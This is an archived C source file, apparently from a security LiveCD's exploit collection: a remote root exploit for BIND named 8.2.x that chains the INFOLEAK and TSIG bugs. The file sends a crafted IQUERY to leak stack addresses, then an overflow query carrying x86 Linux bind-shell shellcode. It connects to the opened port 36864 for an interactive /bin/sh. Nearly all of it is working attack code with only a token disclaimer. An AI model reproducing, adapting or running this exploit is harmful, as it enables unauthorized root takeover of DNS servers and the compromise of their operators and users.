home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / dns / bind / n82x.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  17KB  |  532 lines

  1. /* 
  2.  * lame named 8.2.x remote exploit by 
  3.  *
  4.  *   Ix         [adresadeforward@yahoo.com] (the master of jmpz), 
  5.  *   lucysoft   [lucysoft@hotmail.com] (the master of queries)
  6.  *
  7.  * this exploits the named INFOLEAK and TSIG bug (see http://www.isc.org/products/BIND/bind-security.html)
  8.  * linux only shellcode
  9.  * this is only for demo purposes, we are not responsable in any way for what you do with this code.
  10.  *
  11.  * flamez       - canaris
  12.  * greetz       - blizzard, netman.
  13.  * creditz      - anathema <anathema@hack.co.za> for the original shellcode
  14.  *              - additional code ripped from statdx exploit by ron1n
  15.  */
  16.  
  17. #include <unistd.h>
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <signal.h>
  21. #include <time.h>
  22. #include <string.h>
  23. #include <ctype.h>
  24. #include <netdb.h>
  25. #include <sys/time.h>
  26. #include <sys/types.h>
  27. #include <sys/socket.h>
  28. #include <arpa/inet.h>
  29. #include <arpa/nameser.h>
  30.  
  31. #define max(a,b) ((a)>(b)?(a):(b))
  32.  
  33. #define BUFFSIZE 4096
  34.  
  35. int argevdisp1, argevdisp2;
  36.  
  37. char shellcode[] =
  38. /* main: */
  39. "\xeb\x7b"                                /* jmp callz               */ // 2 - 2
  40. /* start: */
  41. "\x5e"                                    /* popl %esi               */ // 1 - 3
  42.  
  43.   /* socket() */
  44. "\x29\xc0"                                /* subl %eax, %eax         */ // 2 - 5
  45. "\x89\x46\x10"                            /* movl %eax, 0x10(%esi)   */ // 3 - 8
  46. "\x40"                                    /* incl %eax               */ // 1 - 9
  47. "\x89\xc3"                                /* movl %eax, %ebx         */ // 2 - 11
  48. "\x89\x46\x0c"                            /* movl %eax, 0x0c(%esi)   */ // 3 - 14
  49. "\x40"                                    /* incl %eax               */ // 1 - 15
  50. "\x89\x46\x08"                            /* movl %eax, 0x08(%esi)   */ // 3 - 18
  51. "\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */ // 3 - 21
  52. "\xb0\x66"                                /* movb $0x66, %al         */ // 2 - 23
  53. "\xcd\x80"                                /* int $0x80               */ // 2 - 25
  54.  
  55.   /* bind() */
  56. "\x43"                                    /* incl %ebx               */ // 1 - 26
  57. "\xc6\x46\x10\x10"                        /* movb $0x10, 0x10(%esi)  */ // 4 - 30
  58. "\x66\x89\x5e\x14"                        /* movw %bx, 0x14(%esi)    */ // 4 - 34
  59. "\x88\x46\x08"                            /* movb %al, 0x08(%esi)    */ // 3 - 37
  60. "\x29\xc0"                                /* subl %eax, %eax         */ // 2 - 39
  61. "\x89\xc2"                                /* movl %eax, %edx         */ // 2 - 41
  62. "\x89\x46\x18"                            /* movl %eax, 0x18(%esi)   */ // 3 - 44
  63. "\xb0\x90"                                /* movb $0x90, %al         */ // 2 - 46
  64. "\x66\x89\x46\x16"                        /* movw %ax, 0x16(%esi)    */ // 4 - 50
  65. "\x8d\x4e\x14"                            /* leal 0x14(%esi), %ecx   */ // 3 - 53
  66. "\x89\x4e\x0c"                            /* movl %ecx, 0x0c(%esi)   */ // 3 - 56
  67. "\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */ // 3 - 59
  68.  
  69. // 2 jump + 1 + 5 free + 1
  70.  
  71. "\xb0\x66"                                /* movb $0x66, %al         */ // 2 - 61
  72. "\xcd\x80"                                /* int $0x80               */ // 2 - 2
  73.  
  74.   /* listen() */
  75. "\x89\x5e\x0c"                            /* movl %ebx, 0x0c(%esi)   */
  76. "\x43"                                    /* incl %ebx               */
  77. "\x43"                                    /* incl %ebx               */
  78. "\xb0\x66"                                /* movb $0x66, %al         */
  79. "\xcd\x80"                                /* int $0x80               */
  80.  
  81.   /* accept() */
  82. "\x89\x56\x0c"                            /* movl %edx, 0x0c(%esi)   */ // 3 - 5
  83. "\x89\x56\x10"                            /* movl %edx, 0x10(%esi)   */ // 3 - 8
  84. "\xb0\x66"                                /* movb $0x66, %al         */ // 2 - 10
  85. "\x43"                                    /* incl %ebx               */ // 1 - 11
  86. "\xcd\x80"                                /* int $0x80               */ // 1 - 12
  87.  
  88.   /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
  89. "\x86\xc3"                                /* xchgb %al, %bl          */ // 2 - 14
  90. "\xb0\x3f"                                /* movb $0x3f, %al         */ // 2 - 16
  91. "\x29\xc9"                                /* subl %ecx, %ecx         */ // 2 - 18
  92. "\xcd\x80"                                /* int $0x80               */ // 2 - 20
  93. "\xb0\x3f"                                /* movb $0x3f, %al         */ // 2 - 22
  94. "\x41"                                    /* incl %ecx               */ // 1 - 23
  95. "\xcd\x80"                                /* int $0x80               */ // 2 - 25
  96. "\xb0\x3f"                                /* movb $0x3f, %al         */ // 2 - 27
  97. "\x41"                                    /* incl %ecx               */ // 1 - 28
  98. "\xcd\x80"                                /* int $0x80               */ // 2 - 30
  99.  
  100.   /* execve() */
  101. "\x88\x56\x07"                            /* movb %dl, 0x07(%esi)    */ // 3 - 33
  102. "\x89\x76\x0c"                            /* movl %esi, 0x0c(%esi)   */ // 3 - 36
  103. "\x87\xf3"                                /* xchgl %esi, %ebx        */ // 2 - 38
  104. "\x8d\x4b\x0c"                            /* leal 0x0c(%ebx), %ecx   */ // 3 - 41
  105. "\xb0\x0b"                                /* movb $0x0b, %al         */ // 2 - 44
  106. "\xcd\x80"                                /* int $0x80               */ // 2 = 46
  107.  
  108. "\x90\x90\x90\x90\x90\x90\x90"
  109.  
  110. // 2 jump + 1 + 5 free + 1
  111.  
  112. /* callz: */
  113. "\xe8\x70\xff\xff\xff"                    /* call start              */ // 5 - 51
  114. "/bin/sh\0";                                                            // 8 - 59
  115.  
  116.  
  117. //      {0, "8.2.2-P5 - Redhat 6.2 (Zoot) boot",       0xbffffa88, 28, 0x080d7cd0, 0x40111704, 0x330, 6},
  118.  
  119. unsigned long resolve_host(char* host)
  120. {
  121.         long res;
  122.         struct hostent* he;
  123.  
  124.         if (0 > (res = inet_addr(host)))
  125.         {
  126.                 if (!(he = gethostbyname(host)))
  127.                         return(0);
  128.                 res = *(unsigned long*)he->h_addr;
  129.         }
  130.         return(res);
  131. }
  132.  
  133. void
  134. runshell(int sockd)
  135. {
  136.     char buff[1024];
  137.     int fmax, ret;
  138.     fd_set fds;
  139.  
  140.     fmax = max(fileno(stdin), sockd) + 1;
  141.     send(sockd, "uname -a; id;\n", 15, 0);
  142.  
  143.     for(;;)
  144.     {
  145.  
  146.         FD_ZERO(&fds);
  147.         FD_SET(fileno(stdin), &fds);
  148.         FD_SET(sockd, &fds);
  149.  
  150.         if(select(fmax, &fds, NULL, NULL, NULL) < 0)
  151.         {
  152.             exit(EXIT_FAILURE);
  153.         }
  154.  
  155.         if(FD_ISSET(sockd, &fds))
  156.         {
  157.             bzero(buff, sizeof buff);
  158.             if((ret = recv(sockd, buff, sizeof buff, 0)) < 0)
  159.             {
  160.                 exit(EXIT_FAILURE);
  161.             }
  162.             if(!ret)
  163.             {
  164.                 fprintf(stderr, "Connection closed\n");
  165.                 exit(EXIT_FAILURE);
  166.             }
  167.             write(fileno(stdout), buff, ret);
  168.         }
  169.  
  170.         if(FD_ISSET(fileno(stdin), &fds))
  171.         {
  172.             bzero(buff, sizeof buff);
  173.             ret = read(fileno(stdin), buff, sizeof buff);
  174.             if(send(sockd, buff, ret, 0) != ret)
  175.             {
  176.                 fprintf(stderr, "Transmission loss\n");
  177.                 exit(EXIT_FAILURE);
  178.             }
  179.         }
  180.     }
  181. }
  182.  
  183.  
  184. connection(struct sockaddr_in host)
  185. {
  186.         int sockd;
  187.  
  188.         host.sin_port = htons(36864);
  189.  
  190.         printf("connecting..\n");
  191.         usleep(2000);
  192.  
  193.         if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  194.         {
  195.                 exit(EXIT_FAILURE);
  196.         }
  197.  
  198.         if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1)
  199.         {
  200.                 printf("wait for your shell..\n");
  201.                 usleep(500);
  202.                 runshell(sockd);
  203.         }
  204.         else
  205.         {
  206.                 printf("error: named not vulnerable or wrong offsets used\n");
  207.         }
  208.  
  209.         close(sockd);
  210. }
  211.  
  212.  
  213.  
  214.  
  215. int infoleak_qry(char* buff)
  216. {
  217.         HEADER* hdr;
  218.         int n, k;
  219.         char* ptr;
  220.         int qry_space = 12;
  221.         int dummy_names = 7;
  222.         int evil_size = htons(0xff);
  223.         
  224.         memset(buff, 0, BUFFSIZE);
  225.         hdr = (HEADER*)buff;
  226.  
  227.         hdr->id = htons(0xbeef);
  228.         hdr->opcode  = IQUERY;
  229.         hdr->rd      = 1;
  230.         hdr->ra      = 1;
  231.         hdr->qdcount = htons(0);
  232.         hdr->nscount = htons(0);
  233.         hdr->ancount = htons(1);
  234.         hdr->arcount = htons(0);
  235.         
  236.  
  237.         ptr = buff + sizeof(HEADER);        
  238.  
  239.         n = 62;
  240.  
  241.         for (k = 0; k < dummy_names; k++)
  242.         {
  243.                 *ptr++ = n;
  244.                 ptr += n;
  245.  
  246.         }
  247.  
  248.         ptr += INT16SZ;
  249.  
  250.         PUTSHORT(htons(1/*ns_t_a*/), ptr);              /* type */
  251.         PUTSHORT(htons(T_A), ptr);                      /* class */
  252.         PUTLONG(htons(1), ptr);                /* ttl */
  253.                        
  254.         PUTSHORT(evil_size, ptr);       /* our *evil* size */
  255.  
  256.         return(ptr - buff + qry_space);
  257.  
  258. }
  259.  
  260.                                                                         
  261.  
  262. int evil_query(char* buff, int offset)
  263. {
  264.         int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0;
  265.         HEADER* hdr;
  266.         char *ptr;
  267.         int k, bufflen;
  268.         u_int n, m;
  269.         u_short s;
  270.         int i;
  271.         int shelloff, shellstarted;
  272.         int towrite, ourpack;
  273.         int n_dummy_rrs = 7;
  274.  
  275.         shelladdr = offset - 0x200;
  276.  
  277.         lameaddr  = shelladdr + 0x330;
  278.  
  279.         ourpack = offset - 0x250 + 2;
  280.         towrite = (offset & ~0xff) - ourpack - 6;
  281.  
  282.         printf("# %x newebp\n", offset & ~0xff);
  283.         printf("# %x towrite\n", towrite);
  284.  
  285.  
  286.         rroffsetidx = towrite / 70;
  287.         offset0 = towrite - rroffsetidx * 70;
  288.  
  289.         printf("+ %x rr recidx\n", rroffsetidx);
  290.         printf("+ %x offset\n", offset0);
  291.  
  292.         if ((offset0 > 53) || (rroffsetidx > 6))
  293.         {
  294.                 printf("could not write our data in buffer\n");
  295.                 return(-1);
  296.         }
  297.  
  298.         rrshellidx = 1;
  299.         deplshellcode = 2;
  300.  
  301.         hdr = (HEADER*)buff;
  302.  
  303.         memset(buff, 0, BUFFSIZE);
  304.  
  305.         /* complete the header */
  306.  
  307.         hdr->id = htons(0xdead);
  308.         hdr->opcode  = QUERY;
  309.         hdr->rd      = 1;
  310.         hdr->ra      = 1;
  311.         hdr->qdcount = htons(n_dummy_rrs);
  312.         hdr->ancount = htons(0);
  313.         hdr->arcount = htons(1);
  314.  
  315.         ptr = buff + sizeof(HEADER);
  316.  
  317.         shellstarted = 0;
  318.         shelloff = 0;
  319.  
  320.         n = 63;
  321.         for (k = 0; k < n_dummy_rrs; k++)
  322.         {
  323. //              printf("* rr: %d\n", k);
  324.                 *ptr++ = (char)n;
  325.  
  326.                 for(i = 0; i < n-2; i++)
  327.                 {
  328.                         if((k == rrshellidx) && (i == deplshellcode) && !shellstarted)
  329.                         {
  330.                                 printf("* injecting shellcode\n", k);
  331.                                 shellstarted = 1;
  332.                         }
  333.  
  334.                         if ((k == rroffsetidx) && (i == offset0 + 0))
  335.                         {
  336.                                 printf("# %x stackfrm\n", lameaddr);
  337.                                 //caller's frame
  338.                                 *ptr++ = lameaddr & 0x000000ff;
  339.                                 i++;
  340.                                 *ptr++ = (lameaddr & 0x0000ff00) >> 8;
  341.                                 i++;
  342.                                 *ptr++ = (lameaddr & 0x00ff0000) >> 16;
  343.                                 i++;
  344.                                 *ptr++ = (lameaddr & 0xff000000) >> 24;
  345.                         }
  346.                         else if ((k == rroffsetidx) && (i == offset0 + 8))
  347.                         {
  348.                                 printf("# args %x, %x\n", argevdisp1, argevdisp2);
  349.                                 //evDispatch args
  350.                                 *ptr++ = argevdisp1 & 0x000000ff;
  351.                                 i++;
  352.                                 *ptr++ = (argevdisp1 & 0x0000ff00) >> 8;
  353.                                 i++;
  354.                                 *ptr++ = (argevdisp1 & 0x00ff0000) >> 16;
  355.                                 i++;
  356.                                 *ptr++ = (argevdisp1 & 0xff000000) >> 24;
  357.                                 i++;
  358.                                 *ptr++ = argevdisp2 & 0x000000ff;
  359.                                 i++;
  360.                                 *ptr++ = (argevdisp2 & 0x0000ff00) >> 8;
  361.                                 i++;
  362.                                 *ptr++ = (argevdisp2 & 0x00ff0000) >> 16;
  363.                                 i++;
  364.                                 *ptr++ = (argevdisp2 & 0xff000000) >> 24;
  365.                         } else
  366.                         if ((k == rroffsetidx) && (i == offset0 + 4))
  367.                         {
  368.                                 printf("# %x shellcode\n", shelladdr);
  369.                                 //shellcode
  370.                                 *ptr++ = shelladdr & 0x000000ff;
  371.                                 i++;
  372.                                 *ptr++ = (shelladdr & 0x0000ff00) >> 8;
  373.                                 i++;
  374.                                 *ptr++ = (shelladdr & 0x00ff0000) >> 16;
  375.                                 i++;
  376.                                 *ptr++ = (shelladdr & 0xff000000) >> 24;
  377.                         }
  378.                         else
  379.                         {
  380.                                 if (shellstarted)
  381.                                 {
  382.                                         *ptr++ = shellcode[shelloff++];
  383.                                 }
  384.                                 else
  385.                                 {
  386.                                         *ptr++ = i;
  387.                                 }
  388.                         }
  389.                 }
  390.  
  391.                 *ptr++ = 0xeb; 
  392.  
  393.                 if (k == 0)
  394.                 {
  395.                         *ptr++ = 0x09; //jmp 3
  396.  
  397.                         m = 2;
  398.  
  399.                         *ptr++ = (char)m;
  400.                         for(i = 0; i < m; i++)
  401.                         {
  402.                                 *ptr++ = i;
  403.                         }
  404.                 }
  405.                 else
  406.                 {
  407.                         *ptr++ = 0x07; //jmp 1
  408.                 }
  409.  
  410.                 *ptr++ = 0xc0; /*NS_CMPRSFLGS*/
  411.  
  412.                 ptr += 5;
  413.         }
  414.  
  415.         s = htons(0xfa) /* ns_t_tsig */;
  416.         PUTLONG(s, ptr);
  417.  
  418.         for (k = 0; k < 1; k++)
  419.         {
  420.                 *ptr++ = 0x90;
  421.         }
  422.  
  423.         bufflen = ptr - buff;
  424.         return(bufflen);
  425. }
  426.  
  427.  
  428. long xtract_offset(char* buff)
  429. {
  430.         long ret, idx, now;
  431.  
  432.         idx = 0x214;
  433.         now = 0;
  434.  
  435.         ret = *((long*)&buff[idx]);
  436.         if ((ret > 0xbfff0000) && (ret < 0xc0000000))
  437.         {
  438.                 now = 1;
  439.         }
  440.  
  441.         while ((idx < 0x400) && (!now || !((ret > 0xbfff0000) && (ret < 0xc0000000))))
  442.         {
  443.                 idx += 4;
  444.                 ret = *((long*)&buff[idx]);
  445.                 if (ret == 1)
  446.                 {
  447.                         now = 1;
  448.                 }
  449.         }
  450.  
  451.         argevdisp1 = 0x080d7cd0;
  452.         argevdisp2 = *((long*)&buff[0x264]);
  453.  
  454.         return(ret);
  455. }
  456.  
  457.  
  458.  
  459.  
  460. int main(int argc, char* argv[])
  461. {
  462.         struct sockaddr_in sa;
  463.         int sock;
  464.         long address;
  465.         char buff[BUFFSIZE];
  466.         int len, i;
  467.         long offset;
  468.         socklen_t reclen;
  469.  
  470.         printf("named 8.2.x (< 8.2.3-REL) remote root exploit by LucySoft, Ix\n\n");
  471.  
  472.         address = 0;
  473.         if (argc < 2)
  474.         {
  475.                 printf("usage : %s host\n", argv[0]);
  476.  
  477.                 return(-1);
  478.         }
  479.  
  480.         if (!(address = resolve_host(argv[1])))
  481.         {
  482.                 printf("unable to resolve %s, try using an IP address\n", argv[1]);
  483.                 return(-1);
  484.         }
  485.  
  486.         sa.sin_family = AF_INET;
  487.  
  488.         if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM, 0)))
  489.         {
  490.                 return(-1);
  491.         }
  492.  
  493.         sa.sin_family = AF_INET;
  494.         sa.sin_port = htons(53);
  495.         sa.sin_addr.s_addr= address;
  496.  
  497.  
  498.         len = infoleak_qry(buff);
  499.         len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
  500.         if (len < 0)
  501.         {
  502.                 printf("unable to send iquery\n");
  503.                 return(-1);
  504.         }
  505.  
  506.         reclen = sizeof(sa);
  507.         len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen);
  508.         if (len < 0)
  509.         {
  510.                 printf("unable to receive iquery answer\n");
  511.                 return(-1);
  512.         }
  513.         printf("iquery resp len = %d\n", len);
  514.  
  515.         offset = xtract_offset(buff);
  516.         printf("retrieved stack offset = %x\n", offset);
  517.  
  518.  
  519.         len = evil_query(buff, offset);
  520.  
  521.         sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa));
  522.  
  523.         if (0 > close(sock))
  524.         {
  525.                 return(-1);
  526.         }
  527.  
  528.         connection(sa);
  529.  
  530.         return(0);
  531. }
  532. /*                   www.hack.co.za  [11 march 2001]*/